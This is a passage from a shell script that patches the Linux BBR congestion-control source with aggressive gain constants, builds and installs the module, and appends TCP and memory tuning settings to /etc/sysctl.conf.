bbr_min_tso_rate 49 | sed -i 's|static const int bbr_min_tso_rate[^;]*;|static const int bbr_min_tso_rate = 256000;|g' /tmp/tcp_bbr.c 50 | 51 | # bbr_gain 52 | sed -i 's|static const int bbr_high_gain[^;]*;|static const int bbr_high_gain = BBR_UNIT * (2885 * 2) / 1000 + 1;|g' /tmp/tcp_bbr.c 53 | sed -i 's|static const int bbr_drain_gain[^;]*;|static const int bbr_drain_gain = BBR_UNIT * 2 * 1000 / 2885;|g' /tmp/tcp_bbr.c 54 | 55 | # bbr_pacing_gain 56 | sed -i '1h;1!H;$!d;${g;s|static const int bbr_pacing_gain\[\][^;]*;|static const int bbr_pacing_gain[] = \{\n BBR_UNIT * 16 / 8,\n BBR_UNIT * 6 / 8,\n BBR_UNIT * 16 / 8, BBR_UNIT * 10 / 8, BBR_UNIT * 14 / 8,\n BBR_UNIT * 10 / 8, BBR_UNIT * 12 / 8, BBR_UNIT * 10 / 8\n\};|g;}' /tmp/tcp_bbr.c 57 | 58 | # bbr_full_bw_thresh 59 | sed -i 's|static const u32 bbr_full_bw_thresh[^;]*;|static const u32 bbr_full_bw_thresh = BBR_UNIT * 17 / 16;|g' /tmp/tcp_bbr.c 60 | 61 | # bbr_lt_bw 62 | sed -i 's|static const u32 bbr_lt_bw_ratio[^;]*;|static const u32 bbr_lt_bw_ratio = BBR_UNIT / 4;|g' /tmp/tcp_bbr.c 63 | sed -i 's|static const u32 bbr_lt_bw_diff[^;]*;|static const u32 bbr_lt_bw_diff = 8000 / 8;|g' /tmp/tcp_bbr.c 64 | 65 | # mark 66 | sed -i '$s|");| [ Vicer Violence RTT ] (WR V2.0)");|g' /tmp/tcp_bbr.c 67 | 68 | cd /tmp 69 | make && make install 70 | 71 | echo " 72 | fs.file-max = 104857600 73 | fs.nr_open = 1048576 74 | vm.overcommit_memory = 1 75 | vm.swappiness = 10 76 | net.core.somaxconn = 65535 77 | net.core.optmem_max = 1048576 78 | net.core.rmem_max = 8388608 79 | net.core.wmem_max = 8388608 80 | net.core.rmem_default = 1048576 81 | net.core.wmem_default = 1048576 82 | net.core.netdev_max_backlog = 65536 83 | net.ipv4.tcp_mem = 2097152 8388608 16777216 84 | net.ipv4.tcp_rmem = 16384 524288 16777216 85 | net.ipv4.tcp_wmem = 16384 524288 16777216 86 | net.ipv4.tcp_syncookies = 1 87 | net.ipv4.tcp_syn_retries = 3 88 | net.ipv4.tcp_synack_retries = 2 89 | net.ipv4.tcp_max_syn_backlog = 65535 90 | net.ipv4.tcp_fin_timeout = 16 91 | net.ipv4.tcp_keepalive_intvl = 32 92 | net.ipv4.tcp_keepalive_probes = 3 93 | net.ipv4.tcp_keepalive_time = 900 94 | net.ipv4.tcp_retries1 = 3 95 | net.ipv4.tcp_retries2 = 8 96 | net.ipv4.tcp_no_metrics_save = 1 97 | net.ipv4.tcp_timestamps = 1 98 | net.ipv4.tcp_slow_start_after_idle = 0 99 | net.ipv4.ip_forward = 1 100 | net.ipv4.tcp_fastopen = 0 101 | net.ipv4.tcp_fack = 1 102 | net.ipv4.tcp_sack = 1 103 | net.ipv4.tcp_dsack = 1 104 | net.ipv4.tcp_ecn = 0 105 | net.ipv4.tcp_ecn_fallback = 1 106 | " >> /etc/sysctl.conf 107 | sysctl -p 108 | --------------------------------------------------------------------------------